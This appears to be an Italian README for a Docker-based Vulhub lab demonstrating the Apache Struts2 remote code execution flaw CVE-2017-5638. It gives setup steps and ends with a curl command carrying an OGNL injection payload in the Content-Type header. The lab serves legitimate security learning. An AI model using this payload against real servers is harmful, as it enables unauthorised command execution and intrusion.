
Un laboratorio pratico che dimostra lo sfruttamento di una vulnerabilità critica di Remote Code Execution (RCE) in Apache Struts2 (CVE-2017-5638) utilizzando ambienti Docker Vulhub. Include istruzioni di configurazione e comandi per eseguire il contenitore vulnerabile.
Questo progetto dimostra la vulnerabilità di Remote Code Execution (RCE) in Apache Struts2 (CVE-2017-5638).
Gli attaccanti possono sfruttare un'intestazione HTTP Content-Type appositamente modificata per eseguire comandi di sistema arbitrari su server vulnerabili.
Questo repository utilizza i laboratori Vulhub Docker per fornire un ambiente sicuro per testare e comprendere la vulnerabilità.
1️⃣ Clona questo repository
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ Avvia il contenitore vulnerabile
docker compose up -d
3️⃣ Verifica che il contenitore sia in esecuzione
docker ps
Dovresti vedere qualcosa del tipo:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Testa l'interfaccia web
Apri il browser → http://<VM_IP>:8080
Dovresti vedere la homepage dell'applicazione Struts2.
Esempio IP VM:
192.168.56.101
⚠️ Esegui lo sfruttamento solo in un ambiente di laboratorio controllato. Non attaccare mai server pubblici.
Ora puoi testare la RCE utilizzando script o strumenti come curl o Metasploit contro il contenitore vulnerabile.
Esempio (sostituisci <comando> con il tuo comando di test):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/